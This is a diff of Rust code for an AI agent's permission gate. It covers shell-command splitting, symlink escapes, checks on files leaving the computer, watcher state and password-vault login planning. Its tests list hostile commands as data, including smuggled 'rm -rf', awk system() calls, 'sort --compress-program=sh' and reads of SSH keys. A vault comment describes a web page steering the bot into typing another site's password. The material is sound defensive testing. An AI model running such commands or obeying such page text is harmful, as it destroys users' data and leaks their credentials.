let (Some(program), None) = (rest.next(), rest.next()) else { return false };
|
||||||
|
!program.starts_with('-') && !["system", "getline", "|", "@", "fflush", "close"].iter().any(|k| program.contains(k))
|
||||||
|
}
|
||||||
|
|
||||||
/// A command's words the way the shell reads them, or None when it is more than one plain
|
/// A command's words the way the shell reads them, or None when it is more than one plain
|
||||||
/// program call: anything outside quotes that joins, redirects, pipes, backgrounds or
|
/// program call: anything outside quotes that joins, redirects, pipes, backgrounds or
|
||||||
/// substitutes (`;` `&` `|` `<` `>` `(` `)` a backtick, `$(`, a line break), and substitution
|
/// substitutes (`;` `&` `|` `<` `>` `(` `)` a backtick, `$(`, a line break), and substitution
|
||||||
|
|
@ -981,7 +1202,7 @@ pub fn decide_on(name: &str, args: &str, target: &Target, grants: &[String]) ->
|
||||||
return Decision::Allow;
|
return Decision::Allow;
|
||||||
}
|
}
|
||||||
let p = resolve(root, &arg_str(&v, "path"));
|
let p = resolve(root, &arg_str(&v, "path"));
|
||||||
if !inside(root, &p) {
|
if !within(root, &p) {
|
||||||
return Decision::Deny(format!("{} 看不到這台電腦上的其他檔案({})。要處理使用者的檔案,請在使用者的電腦上做(不確定是哪台就先問)。", target.name, p.display()));
|
return Decision::Deny(format!("{} 看不到這台電腦上的其他檔案({})。要處理使用者的檔案,請在使用者的電腦上做(不確定是哪台就先問)。", target.name, p.display()));
|
||||||
}
|
}
|
||||||
Decision::Allow
|
Decision::Allow
|
||||||
|
|
@ -1015,6 +1236,39 @@ pub fn decide_on(name: &str, args: &str, target: &Target, grants: &[String]) ->
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// A file on its way out of a computer — into the chat (send_file) or onto the person's screen
|
||||||
|
/// (open_for_person) — is read on the way, so it meets read_file's walls. It used to meet none:
|
||||||
|
/// any path on this computer went out without a question, and from the bot's sealed folder a
|
||||||
|
/// `..` reached the rest of the home folder.
|
||||||
|
///
|
||||||
|
/// The real file is what counts, not how the path is spelled: a link inside the folder that
|
||||||
|
/// points outside it is outside.
|
||||||
|
pub fn decide_file_out(target: &Target, path: &str, grants: &[String]) -> Decision {
|
||||||
|
let (base, sealed) = match &target.place {
|
||||||
|
Place::Local { workdir } => (workdir.as_path(), false),
|
||||||
|
Place::Sealed { root } => (root.as_path(), true),
|
||||||
|
// The box has its own wall (box_path); another computer answers for its own files.
|
||||||
|
_ => return Decision::Allow,
|
||||||
|
};
|
||||||
|
let named = resolve(base, path);
|
||||||
|
let real = std::fs::canonicalize(&named).unwrap_or_else(|_| named.clone());
|
||||||
|
if is_ignored(&named) || is_ignored(&real) {
|
||||||
|
return Decision::Deny(format!("「{}」是私密或系統檔案,Bot 不能讀取。", named.display()));
|
||||||
|
}
|
||||||
|
let home = std::fs::canonicalize(base).unwrap_or_else(|_| base.to_path_buf());
|
||||||
|
// (A path that names nothing yet has no real form: it is judged as spelled.)
|
||||||
|
let within = inside(&home, &real) || (real == named && inside(base, &named));
|
||||||
|
if within {
|
||||||
|
Decision::Allow
|
||||||
|
} else if sealed {
|
||||||
|
Decision::Deny(format!("{} 看不到這台電腦上的其他檔案({})。要處理使用者的檔案,請在使用者的電腦上做(不確定是哪台就先問)。", target.name, named.display()))
|
||||||
|
} else if grants.iter().any(|g| g == "read:anywhere") {
|
||||||
|
Decision::Allow
|
||||||
|
} else {
|
||||||
|
Decision::Ask { reason: format!("讀取工作資料夾以外的地方:{}", named.display()), grant: "read:anywhere".into() }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/// Run a remote command and give back its output (no background hand-off).
|
/// Run a remote command and give back its output (no background hand-off).
|
||||||
fn remote_capture(place: &Place, cmd: &str, stdin: Option<&[u8]>) -> Result<String, String> {
|
fn remote_capture(place: &Place, cmd: &str, stdin: Option<&[u8]>) -> Result<String, String> {
|
||||||
use std::io::Write;
|
use std::io::Write;
|
||||||
|
|
@ -1320,6 +1574,11 @@ fn search(pattern: &str, root: &Path, files_only: bool) -> Result<String, String
|
||||||
if is_ignored(&p) {
|
if is_ignored(&p) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
// Links are not followed (ripgrep doesn't either): a linked folder is a way out
|
||||||
|
// of the folder being searched, and a link back up is a walk without end.
|
||||||
|
if p != root && p.symlink_metadata().map(|m| m.file_type().is_symlink()).unwrap_or(false) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
if p.is_dir() {
|
if p.is_dir() {
|
||||||
if let Ok(rd) = std::fs::read_dir(&p) {
|
if let Ok(rd) = std::fs::read_dir(&p) {
|
||||||
stack.extend(rd.filter_map(|e| e.ok()).map(|e| e.path()).filter(|q| q.file_name().map(|n| n != "node_modules" && n != "target").unwrap_or(true)));
|
stack.extend(rd.filter_map(|e| e.ok()).map(|e| e.path()).filter(|q| q.file_name().map(|n| n != "node_modules" && n != "target").unwrap_or(true)));
|
||||||
|
|
@ -1562,6 +1821,169 @@ mod tests {
|
||||||
assert_eq!(split_commands("ls -la && git status | head; echo 'a;b'").unwrap(), vec!["ls -la", "git status", "head", "echo 'a;b'"]);
|
assert_eq!(split_commands("ls -la && git status | head; echo 'a;b'").unwrap(), vec!["ls -la", "git status", "head", "echo 'a;b'"]);
|
||||||
assert!(split_commands("echo $(whoami)").is_none());
|
assert!(split_commands("echo $(whoami)").is_none());
|
||||||
assert!(split_commands("eval ls").is_none());
|
assert!(split_commands("eval ls").is_none());
|
||||||
|
// A backslash-quote opens no quote: these are three commands, as the shell runs them.
|
||||||
|
assert_eq!(split_commands(r#"echo \"; rm -rf x; echo \""#).unwrap(), vec![r#"echo \""#, "rm -rf x", r#"echo \""#]);
|
||||||
|
assert_eq!(split_commands(r"echo a\;b; ls").unwrap(), vec![r"echo a\;b", "ls"]);
|
||||||
|
assert_eq!(split_commands(r#"echo "a\"; b" && ls"#).unwrap(), vec![r#"echo "a\"; b""#, "ls"]);
|
||||||
|
assert_eq!(split_commands(r"echo 'a\' ; ls").unwrap(), vec![r"echo 'a\'", "ls"]);
|
||||||
|
assert!(split_commands("echo 'never closed").is_none());
|
||||||
|
// What hides inside $(…) stays inside its own part.
|
||||||
|
let pieces = split_shell(r#"npm install; rm -rf x; git commit -m "$(cat a; cat b)" | head"#).unwrap();
|
||||||
|
assert_eq!(pieces.iter().map(|p| (p.text.as_str(), p.hidden)).collect::<Vec<_>>(), vec![("npm install", false), ("rm -rf x", false), (r#"git commit -m "$(cat a; cat b)""#, true), ("head", false)]);
|
||||||
|
assert!(split_shell("echo $(ls").is_none());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn looking_commands_that_do_more_than_look_ask() {
|
||||||
|
let w = wd();
|
||||||
|
let ask = |cmd: &str, grants: &[String]| decide("shell", &serde_json::json!({"command": cmd}).to_string(), &w, grants);
|
||||||
|
// The first word says "look"; the options delete, write, or run something else.
|
||||||
|
for cmd in [
|
||||||
|
"find . -name '*.docx' -delete",
|
||||||
|
"find . -maxdepth 0 -exec sh -c 'id' \\;",
|
||||||
|
"find . -execdir rm {} +",
|
||||||
|
"find . -ok rm {} \\;",
|
||||||
|
"find . -fprint out.txt",
|
||||||
|
"find . -del\"ete\"",
|
||||||
|
"find . -de\\lete",
|
||||||
|
"find . -${nothing}delete",
|
||||||
|
"find . -{delete,print}",
|
||||||
|
"sort -o notes.txt notes.txt",
|
||||||
|
"sort -ro notes.txt notes.txt",
|
||||||
|
"sort --output=notes.txt notes.txt",
|
||||||
|
"sort --compress-program=sh notes.txt",
|
||||||
|
"rg --pre ./run.sh pattern",
|
||||||
|
"rg --pre=./run.sh pattern",
|
||||||
|
"git diff --output=notes.txt",
|
||||||
|
"git log --output notes.txt",
|
||||||
|
"tree -o notes.txt",
|
||||||
|
"uniq a.txt b.txt",
|
||||||
|
"ls && find . -delete",
|
||||||
|
] {
|
||||||
|
assert!(matches!(ask(cmd, &[]), Decision::Ask { .. }), "{cmd} went through without asking");
|
||||||
|
}
|
||||||
|
// Plain looking still doesn't ask.
|
||||||
|
for cmd in [
|
||||||
|
"find . -name '*.rs' -type f",
|
||||||
|
"find . -newer Cargo.toml -print | sort | uniq -c | head",
|
||||||
|
"rg -n 'fn main$' src",
|
||||||
|
"git show HEAD@{1} --stat",
|
||||||
|
"git log --oneline -5",
|
||||||
|
"sort -rn counts.txt",
|
||||||
|
"echo $HOME && ls $HOME",
|
||||||
|
"tree -L 2",
|
||||||
|
] {
|
||||||
|
assert_eq!(ask(cmd, &[]), Decision::Allow, "{cmd}");
|
||||||
|
}
|
||||||
|
// A file can be named like an option: a pattern that may become one asks; one that
|
||||||
|
// can only become paths in a folder doesn't.
|
||||||
|
for cmd in ["find . *", "rg pattern --pr*", "sort [a-z]*", "find . -name ?delete", "sort -?"] {
|
||||||
|
assert!(matches!(ask(cmd, &[]), Decision::Ask { .. }), "{cmd} went through without asking");
|
||||||
|
}
|
||||||
|
for cmd in ["rg -n main src/*.rs", "find . -name \"*.rs\"", "ls *", "cat *.md | head", "sort notes/*.txt"] {
|
||||||
|
assert_eq!(ask(cmd, &[]), Decision::Allow, "{cmd}");
|
||||||
|
}
|
||||||
|
// 「一律允許」 isn't offered for these, and one on the first word doesn't cover them.
|
||||||
|
let find = vec!["shell:find".to_string(), "shell:sort".to_string()];
|
||||||
|
for cmd in ["find . -delete", "sort -o notes.txt notes.txt", "find . $(echo -delete)", "find . -name \"$(cat name.txt)\""] {
|
||||||
|
assert!(matches!(ask(cmd, &find), Decision::Ask { ref grant, .. } if grant.is_empty()), "{cmd}");
|
||||||
|
}
|
||||||
|
assert_eq!(ask("find . -name '*.rs'", &find), Decision::Allow);
|
||||||
|
// The reported one: an escaped quote hid two more commands inside "one echo".
|
||||||
|
assert!(matches!(ask(r#"echo \"; rm -rf Documents; echo \""#, &[]), Decision::Ask { .. }));
|
||||||
|
// 「一律允許」 on one command covers that command, not what is chained after it.
|
||||||
|
let npm = vec!["shell:npm install".to_string()];
|
||||||
|
assert_eq!(ask("npm install && ls", &npm), Decision::Allow);
|
||||||
|
assert!(matches!(ask("npm install; rm -rf x; echo $(true)", &npm), Decision::Ask { ref grant, .. } if grant.is_empty()));
|
||||||
|
assert!(matches!(ask("npm install; echo $(true)", &npm), Decision::Ask { ref grant, .. } if grant == "shell:echo"));
|
||||||
|
let git = vec!["shell:git commit".to_string()];
|
||||||
|
assert_eq!(ask(r#"git status && git commit -m "$(cat msg.txt)""#, &git), Decision::Allow);
|
||||||
|
// The always-denied list is read in every part, hidden commands or not.
|
||||||
|
assert!(matches!(ask("echo $(true); sudo rm x", &["shell:echo".to_string()]), Decision::Deny(_)));
|
||||||
|
// Quotes that never close: asked every time, no grant offered or honoured.
|
||||||
|
assert!(matches!(ask("npm install\nrm -rf x\necho '", &npm), Decision::Ask { ref grant, .. } if grant.is_empty()));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A link in the folder that points out of it is outside it: for reading, for editing, and
|
||||||
|
/// from the bot's sealed folder.
|
||||||
|
#[cfg(unix)]
|
||||||
|
#[test]
|
||||||
|
fn a_link_out_of_the_folder_is_outside_it() {
|
||||||
|
let w = wd().join("link-out");
|
||||||
|
let _ = std::fs::remove_dir_all(&w);
|
||||||
|
let (work, elsewhere) = (w.join("work"), w.join("elsewhere"));
|
||||||
|
std::fs::create_dir_all(work.join("sub")).unwrap();
|
||||||
|
std::fs::create_dir_all(&elsewhere).unwrap();
|
||||||
|
std::fs::write(elsewhere.join("taxes.txt"), "x").unwrap();
|
||||||
|
std::fs::write(work.join("sub/notes.txt"), "x").unwrap();
|
||||||
|
std::os::unix::fs::symlink(&elsewhere, work.join("out")).unwrap();
|
||||||
|
std::os::unix::fs::symlink(elsewhere.join("taxes.txt"), work.join("taxes")).unwrap();
|
||||||
|
std::os::unix::fs::symlink(elsewhere.join("not-yet.txt"), work.join("new")).unwrap();
|
||||||
|
std::os::unix::fs::symlink(work.join("sub"), work.join("same")).unwrap();
|
||||||
|
let args = |p: &str| json!({"path": p}).to_string();
|
||||||
|
let edits = ["edit_file".to_string()];
|
||||||
|
for p in ["out/taxes.txt", "taxes", "out", "new", "out/made-here.txt"] {
|
||||||
|
assert!(matches!(decide("read_file", &args(p), &work, &[]), Decision::Ask { ref grant, .. } if grant == "read:anywhere"), "read {p}");
|
||||||
|
assert!(matches!(decide("edit_file", &args(p), &work, &edits), Decision::Ask { ref grant, .. } if grant.is_empty()), "edit {p}: asked every time");
|
||||||
|
let sealed = Target { name: crate::model::BOT_COMPUTER_NAME.into(), place: Place::Sealed { root: work.clone() } };
|
||||||
|
assert!(matches!(decide_on("read_file", &args(p), &sealed, &[]), Decision::Deny(_)), "sealed read {p}");
|
||||||
|
assert!(matches!(decide_on("edit_file", &args(p), &sealed, &edits), Decision::Deny(_)), "sealed edit {p}");
|
||||||
|
}
|
||||||
|
assert!(matches!(decide("search", &args("out"), &work, &[]), Decision::Ask { .. }));
|
||||||
|
// What stays in the folder is as before: its files, a link to its own inside, a new file.
|
||||||
|
for p in ["sub/notes.txt", "same/notes.txt", "sub/new.txt", "brand/new/file.txt", ""] {
|
||||||
|
assert_eq!(decide("read_file", &args(p), &work, &[]), Decision::Allow, "read {p}");
|
||||||
|
assert_eq!(decide("edit_file", &args(p), &work, &edits), Decision::Allow, "edit {p}");
|
||||||
|
}
|
||||||
|
// A private file is private by where it really is, whatever the link is called.
|
||||||
|
std::fs::create_dir_all(elsewhere.join(".ssh")).unwrap();
|
||||||
|
std::fs::write(elsewhere.join(".ssh/config"), "x").unwrap();
|
||||||
|
std::os::unix::fs::symlink(elsewhere.join(".ssh/config"), work.join("readme.txt")).unwrap();
|
||||||
|
assert!(matches!(decide("read_file", &args("readme.txt"), &work, &["read:anywhere".to_string()]), Decision::Deny(_)));
|
||||||
|
let _ = std::fs::remove_dir_all(&w);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn a_file_on_its_way_out_meets_the_walls_of_reading_it() {
|
||||||
|
let w = wd().join("out-gate");
|
||||||
|
let _ = std::fs::remove_dir_all(&w);
|
||||||
|
let (inside_dir, elsewhere) = (w.join("work"), w.join("elsewhere"));
|
||||||
|
std::fs::create_dir_all(&inside_dir).unwrap();
|
||||||
|
std::fs::create_dir_all(&elsewhere).unwrap();
|
||||||
|
std::fs::write(inside_dir.join("report.pdf"), "x").unwrap();
|
||||||
|
std::fs::write(elsewhere.join("taxes.pdf"), "x").unwrap();
|
||||||
|
let local = Target { name: "這台電腦".into(), place: Place::Local { workdir: inside_dir.clone() } };
|
||||||
|
let sealed = Target { name: crate::model::BOT_COMPUTER_NAME.into(), place: Place::Sealed { root: inside_dir.clone() } };
|
||||||
|
let outside = elsewhere.join("taxes.pdf").display().to_string();
|
||||||
|
// Its own folder: nothing to ask, on either kind of computer; a file not there yet too.
|
||||||
|
for t in [&local, &sealed] {
|
||||||
|
assert_eq!(decide_file_out(t, "report.pdf", &[]), Decision::Allow);
|
||||||
|
assert_eq!(decide_file_out(t, "not-yet.pdf", &[]), Decision::Allow);
|
||||||
|
}
|
||||||
|
// The person's computer: outside the work folder asks, like read_file, and remembers.
|
||||||
|
assert!(matches!(decide_file_out(&local, &outside, &[]), Decision::Ask { ref grant, .. } if grant == "read:anywhere"));
|
||||||
|
assert!(matches!(decide_file_out(&local, "../elsewhere/taxes.pdf", &[]), Decision::Ask { .. }));
|
||||||
|
assert_eq!(decide_file_out(&local, &outside, &["read:anywhere".to_string()]), Decision::Allow);
|
||||||
|
// The bot's sealed folder: the rest of the computer isn't there, however it is spelled.
|
||||||
|
assert!(matches!(decide_file_out(&sealed, &outside, &["read:anywhere".to_string()]), Decision::Deny(_)));
|
||||||
|
assert!(matches!(decide_file_out(&sealed, "../elsewhere/taxes.pdf", &[]), Decision::Deny(_)));
|
||||||
|
// Secrets stay, granted or not.
|
||||||
|
assert!(matches!(decide_file_out(&local, ".env", &["read:anywhere".to_string()]), Decision::Deny(_)));
|
||||||
|
// A link inside the folder that points out of it is outside.
|
||||||
|
#[cfg(unix)]
|
||||||
|
{
|
||||||
|
std::os::unix::fs::symlink(&elsewhere, inside_dir.join("way-out")).unwrap();
|
||||||
|
assert!(matches!(decide_file_out(&sealed, "way-out/taxes.pdf", &[]), Decision::Deny(_)));
|
||||||
|
assert!(matches!(decide_file_out(&local, "way-out/taxes.pdf", &[]), Decision::Ask { .. }));
|
||||||
|
std::fs::create_dir_all(elsewhere.join(".ssh")).unwrap();
|
||||||
|
std::fs::write(elsewhere.join(".ssh/config"), "x").unwrap();
|
||||||
|
std::os::unix::fs::symlink(elsewhere.join(".ssh/config"), inside_dir.join("notes.txt")).unwrap();
|
||||||
|
assert!(matches!(decide_file_out(&local, "notes.txt", &["read:anywhere".to_string()]), Decision::Deny(_)));
|
||||||
|
}
|
||||||
|
// The box and other computers keep their own checks.
|
||||||
|
let on_box = Target { name: "Bot 的電腦".into(), place: Place::Box { dir: "/home/bot/bot-1".into() } };
|
||||||
|
assert_eq!(decide_file_out(&on_box, "/etc/hosts", &[]), Decision::Allow);
|
||||||
|
let _ = std::fs::remove_dir_all(&w);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
|
|
@ -1617,6 +2039,16 @@ mod tests {
|
||||||
assert!(process_listing("ps aux"));
|
assert!(process_listing("ps aux"));
|
||||||
assert!(process_listing("ps -ax | grep -i tailscale | grep -v grep"));
|
assert!(process_listing("ps -ax | grep -i tailscale | grep -v grep"));
|
||||||
assert!(process_listing("/bin/ps -o pid,comm | awk '{print $1}' | head -5"));
|
assert!(process_listing("/bin/ps -o pid,comm | awk '{print $1}' | head -5"));
|
||||||
|
assert!(process_listing("ps aux | awk -F: -v n=2 'NR == n {print $2, $11}' | sort -rn | uniq -c"));
|
||||||
|
// awk can start any program itself, and these run outside the sandbox.
|
||||||
|
assert!(!process_listing(r#"ps aux | awk 'BEGIN { system("rm -rf Documents") }'"#));
|
||||||
|
assert!(!process_listing(r#"ps aux | awk '{ "id" | getline x; print x }'"#));
|
||||||
|
assert!(!process_listing("ps aux | awk -f steal.awk"));
|
||||||
|
assert!(!process_listing("ps aux | awk '{print}' notes.txt"));
|
||||||
|
assert!(!process_listing("ps aux | awk '@load \"x\"; {print}'"));
|
||||||
|
assert!(!process_listing("ps aux | sort -o listing.txt"));
|
||||||
|
assert!(!process_listing("ps aux | sort --compress-program=sh"));
|
||||||
|
assert!(!process_listing("ps aux | uniq - listing.txt"));
|
||||||
assert!(process_listing("top -l 1 -n 0"));
|
assert!(process_listing("top -l 1 -n 0"));
|
||||||
assert!(!process_listing("ps aux > /tmp/x"));
|
assert!(!process_listing("ps aux > /tmp/x"));
|
||||||
assert!(!process_listing("ps aux | grep x ~/.ssh/id_rsa"));
|
assert!(!process_listing("ps aux | grep x ~/.ssh/id_rsa"));
|
||||||
|
|
|
||||||
|
|
@ -315,20 +315,29 @@ pub fn github_runs(runs: &Value, seen: &mut HashSet<u64>, first: bool) -> Vec<Ev
|
||||||
/// status changes. Events are `created` and `<status>`.
|
/// status changes. Events are `created` and `<status>`.
|
||||||
pub fn status_changes(prev: &mut HashMap<String, String>, items: &[(String, String, String)], first: bool) -> Vec<(String, String)> {
|
pub fn status_changes(prev: &mut HashMap<String, String>, items: &[(String, String, String)], first: bool) -> Vec<(String, String)> {
|
||||||
let mut out = vec![];
|
let mut out = vec![];
|
||||||
// An empty prev is always the baseline: a poll that follows a failed first round must
|
// Only the first look that reached the service is the baseline (the caller keeps `first`
|
||||||
// record, not fire every existing item as "created" (history replay).
|
// until then). An empty prev is not one: a watch set up while nothing was open swallowed
|
||||||
let baseline = first || prev.is_empty();
|
// the first issue, incident or mail that came.
|
||||||
for (id, status, title) in items {
|
for (id, status, title) in items {
|
||||||
match prev.get(id) {
|
match prev.get(id) {
|
||||||
None if !baseline => out.push(("created".to_string(), title.clone())),
|
None if !first => out.push(("created".to_string(), title.clone())),
|
||||||
Some(old) if old != status => out.push((status.clone(), format!("{title}({old} → {status})"))),
|
Some(old) if old != status => out.push((status.clone(), format!("{title}({old} → {status})"))),
|
||||||
_ => {}
|
_ => {}
|
||||||
}
|
}
|
||||||
prev.insert(id.clone(), status.clone());
|
prev.insert(id.clone(), status.clone());
|
||||||
}
|
}
|
||||||
|
// A watcher that runs for months stays bounded: past the cap, what is on this list is kept
|
||||||
|
// and the rest is let go.
|
||||||
|
if prev.len() > MAX_REMEMBERED {
|
||||||
|
let here: HashSet<&String> = items.iter().map(|(id, _, _)| id).collect();
|
||||||
|
prev.retain(|id, _| here.contains(id));
|
||||||
|
}
|
||||||
out
|
out
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Ids a watcher remembers before it lets the old ones go (estimated).
|
||||||
|
const MAX_REMEMBERED: usize = 4096;
|
||||||
|
|
||||||
/// Calendar events that start now (within the last poll) and haven't fired: (key, description).
|
/// Calendar events that start now (within the last poll) and haven't fired: (key, description).
|
||||||
pub fn calendar_due(events: &Value, now: i64, minutes_before: i64, window_secs: i64, title: &str, fired: &mut HashSet<String>) -> Vec<String> {
|
pub fn calendar_due(events: &Value, now: i64, minutes_before: i64, window_secs: i64, title: &str, fired: &mut HashSet<String>) -> Vec<String> {
|
||||||
let mut out = vec![];
|
let mut out = vec![];
|
||||||
|
|
@ -496,6 +505,7 @@ fn fire_router() -> fn(u64, String) {
|
||||||
|
|
||||||
fn watch_loop(routine_id: u64, t: Trigger, gen: u64, slack_token: String, fire: impl Fn(String)) {
|
fn watch_loop(routine_id: u64, t: Trigger, gen: u64, slack_token: String, fire: impl Fn(String)) {
|
||||||
let mut first = true;
|
let mut first = true;
|
||||||
|
let mut runs_first = true;
|
||||||
let mut cursor: u64 = 0;
|
let mut cursor: u64 = 0;
|
||||||
let mut seen: HashSet<u64> = HashSet::new();
|
let mut seen: HashSet<u64> = HashSet::new();
|
||||||
let mut prev: HashMap<String, String> = HashMap::new();
|
let mut prev: HashMap<String, String> = HashMap::new();
|
||||||
|
|
@ -528,9 +538,12 @@ fn watch_loop(routine_id: u64, t: Trigger, gen: u64, slack_token: String, fire:
|
||||||
}
|
}
|
||||||
if wanted(events, "ci_passed") || wanted(events, "ci_failed") {
|
if wanted(events, "ci_passed") || wanted(events, "ci_failed") {
|
||||||
if let Ok(v) = get(&format!("https://api.github.com/repos/{repo}/actions/runs?per_page=20"), &h) {
|
if let Ok(v) = get(&format!("https://api.github.com/repos/{repo}/actions/runs?per_page=20"), &h) {
|
||||||
for e in github_runs(&v, &mut seen, first).into_iter().filter(ok_ev) {
|
for e in github_runs(&v, &mut seen, runs_first).into_iter().filter(ok_ev) {
|
||||||
fire(format!("GitHub {repo}:{}", e.text));
|
fire(format!("GitHub {repo}:{}", e.text));
|
||||||
}
|
}
|
||||||
|
// (Its own first look: the events answering while this failed used to
|
||||||
|
// make the next list of runs fire whole.)
|
||||||
|
runs_first = false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
GITHUB_POLL_SECS
|
GITHUB_POLL_SECS
|
||||||
|
|
@ -568,7 +581,9 @@ fn watch_loop(routine_id: u64, t: Trigger, gen: u64, slack_token: String, fire:
|
||||||
}
|
}
|
||||||
note(routine_id, "已連上 Slack,等待訊息");
|
note(routine_id, "已連上 Slack,等待訊息");
|
||||||
}
|
}
|
||||||
Ok(v) => note(routine_id, &format!("Slack 說:{}", v["error"].as_str().unwrap_or("不明錯誤"))),
|
// (Not reached: a refusal that counted as the first look made the next
|
||||||
|
// answer's thirty messages all new.)
|
||||||
|
Ok(v) => { reached = false; note(routine_id, &format!("Slack 說:{}", v["error"].as_str().unwrap_or("不明錯誤"))) },
|
||||||
Err(e) => { reached = false; note(routine_id, &format!("Slack:{e}")) },
|
Err(e) => { reached = false; note(routine_id, &format!("Slack:{e}")) },
|
||||||
}
|
}
|
||||||
SLACK_POLL_SECS
|
SLACK_POLL_SECS
|
||||||
|
|
@ -702,16 +717,13 @@ fn watch_loop(routine_id: u64, t: Trigger, gen: u64, slack_token: String, fire:
|
||||||
// These sets grow with every event seen: a watcher that runs for months must stay
|
// These sets grow with every event seen: a watcher that runs for months must stay
|
||||||
// bounded (ids grow, so keep the newest range; the react/calendar sets are only
|
// bounded (ids grow, so keep the newest range; the react/calendar sets are only
|
||||||
// short-term de-duplication, so a cap that clears is harmless).
|
// short-term de-duplication, so a cap that clears is harmless).
|
||||||
if seen.len() > 4096 {
|
if seen.len() > MAX_REMEMBERED {
|
||||||
let m = *seen.iter().max().unwrap_or(&0);
|
let m = *seen.iter().max().unwrap_or(&0);
|
||||||
seen.retain(|id| *id + 100_000 >= m);
|
seen.retain(|id| *id + 100_000 >= m);
|
||||||
}
|
}
|
||||||
if prev.len() > 4096 {
|
// (prev is kept bounded by status_changes: clearing it here would make everything on
|
||||||
// status_changes treats an empty set as a quiet baseline (records, fires nothing),
|
// the next list look new.)
|
||||||
// so clearing is safe and keeps the map from growing with every issue ever seen.
|
if slack_reacted.len() > MAX_REMEMBERED {
|
||||||
prev.clear();
|
|
||||||
}
|
|
||||||
if slack_reacted.len() > 4096 {
|
|
||||||
slack_reacted.clear();
|
slack_reacted.clear();
|
||||||
}
|
}
|
||||||
if !sleep_alive(gen, wait) {
|
if !sleep_alive(gen, wait) {
|
||||||
|
|
@ -828,6 +840,20 @@ mod tests {
|
||||||
assert!(status_changes(&mut prev, &[("a".into(), "triggered".into(), "A".into())], true).is_empty());
|
assert!(status_changes(&mut prev, &[("a".into(), "triggered".into(), "A".into())], true).is_empty());
|
||||||
let c = status_changes(&mut prev, &[("a".into(), "resolved".into(), "A".into()), ("b".into(), "triggered".into(), "B".into())], false);
|
let c = status_changes(&mut prev, &[("a".into(), "resolved".into(), "A".into()), ("b".into(), "triggered".into(), "B".into())], false);
|
||||||
assert_eq!(c, vec![("resolved".to_string(), "A(triggered → resolved)".to_string()), ("created".to_string(), "B".to_string())]);
|
assert_eq!(c, vec![("resolved".to_string(), "A(triggered → resolved)".to_string()), ("created".to_string(), "B".to_string())]);
|
||||||
|
// A watch set up while nothing was open: the first thing that comes fires.
|
||||||
|
let mut prev = HashMap::new();
|
||||||
|
assert!(status_changes(&mut prev, &[], true).is_empty());
|
||||||
|
assert_eq!(status_changes(&mut prev, &[("a".into(), "triggered".into(), "A".into())], false), vec![("created".to_string(), "A".to_string())]);
|
||||||
|
// Until a look has reached the service, what is there is recorded, not fired.
|
||||||
|
let mut prev = HashMap::new();
|
||||||
|
assert!(status_changes(&mut prev, &[("a".into(), "open".into(), "A".into())], true).is_empty());
|
||||||
|
assert!(status_changes(&mut prev, &[("a".into(), "open".into(), "A".into())], false).is_empty());
|
||||||
|
// Past the cap the map keeps what is on the list, and nothing on it fires again.
|
||||||
|
let mut prev: HashMap<String, String> = (0..MAX_REMEMBERED + 1).map(|i| (format!("old{i}"), "x".to_string())).collect();
|
||||||
|
prev.insert("a".into(), "open".into());
|
||||||
|
assert!(status_changes(&mut prev, &[("a".into(), "open".into(), "A".into())], false).is_empty());
|
||||||
|
assert_eq!(prev.len(), 1);
|
||||||
|
assert!(status_changes(&mut prev, &[("a".into(), "open".into(), "A".into())], false).is_empty());
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
|
|
|
||||||
32
src/vault.rs
32
src/vault.rs
|
|
@ -345,14 +345,40 @@ impl LoginPlan {
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn plan_login(args: &str) -> Result<LoginPlan, String> {
|
pub fn plan_login(args: &str) -> Result<LoginPlan, String> {
|
||||||
let v = crate::tools::args_of(args);
|
plan_login_on(¤t_host()?, &crate::tools::args_of(args))
|
||||||
let tab = current_host()?;
|
}
|
||||||
let host = v["site"].as_str().filter(|s| !s.trim().is_empty()).map(host_of).filter(|h| !h.is_empty()).unwrap_or(tab);
|
|
||||||
|
/// The plan for the page that is open (`tab`, its host).
|
||||||
|
///
|
||||||
|
/// The password goes into the open tab, so the open tab is the site: what the person is asked
|
||||||
|
/// about, what 「一律允許」 is remembered for, and what the saved login is checked against.
|
||||||
|
/// `site` only picks which saved login to use. It used to stand in for all three — a page could
|
||||||
|
/// talk the bot into `site: "google.com"` and, where the person had always-allowed google.com,
|
||||||
|
/// have Google's password typed into itself without a question.
|
||||||
|
pub(crate) fn plan_login_on(tab: &str, v: &Value) -> Result<LoginPlan, String> {
|
||||||
|
if tab.is_empty() {
|
||||||
|
return Err("目前的分頁沒有開著網站。先打開要登入的那一頁,再填入。".into());
|
||||||
|
}
|
||||||
|
let host = tab.to_string();
|
||||||
if let Some(id) = v["login_id"].as_str().filter(|s| !s.is_empty()) {
|
if let Some(id) = v["login_id"].as_str().filter(|s| !s.is_empty()) {
|
||||||
let item = crate::vault_store::get(id).filter(|i| i.kind == crate::vault_store::Kind::Login).ok_or("保險庫裡沒有這筆登入資訊(先用 vault_list 看 id)")?;
|
let item = crate::vault_store::get(id).filter(|i| i.kind == crate::vault_store::Kind::Login).ok_or("保險庫裡沒有這筆登入資訊(先用 vault_list 看 id)")?;
|
||||||
let matched = item.fills_on(&host);
|
let matched = item.fills_on(&host);
|
||||||
return Ok(LoginPlan { host, item: Some(item), matched, other: None });
|
return Ok(LoginPlan { host, item: Some(item), matched, other: None });
|
||||||
}
|
}
|
||||||
|
let site = v["site"].as_str().filter(|s| !s.trim().is_empty()).map(host_of).filter(|h| !h.is_empty());
|
||||||
|
let same_site = |s: &str| crate::vault_store::registrable_domain(s) == crate::vault_store::registrable_domain(tab);
|
||||||
|
if let Some(site) = site.filter(|s| !same_site(s)) {
|
||||||
|
// A login saved for another site: the person sees the lookalike warning (matched is
|
||||||
|
// false when it isn't saved for this page), and no grant is kept.
|
||||||
|
return match crate::vault_store::logins_for(&site).into_iter().next() {
|
||||||
|
Some(item) => {
|
||||||
|
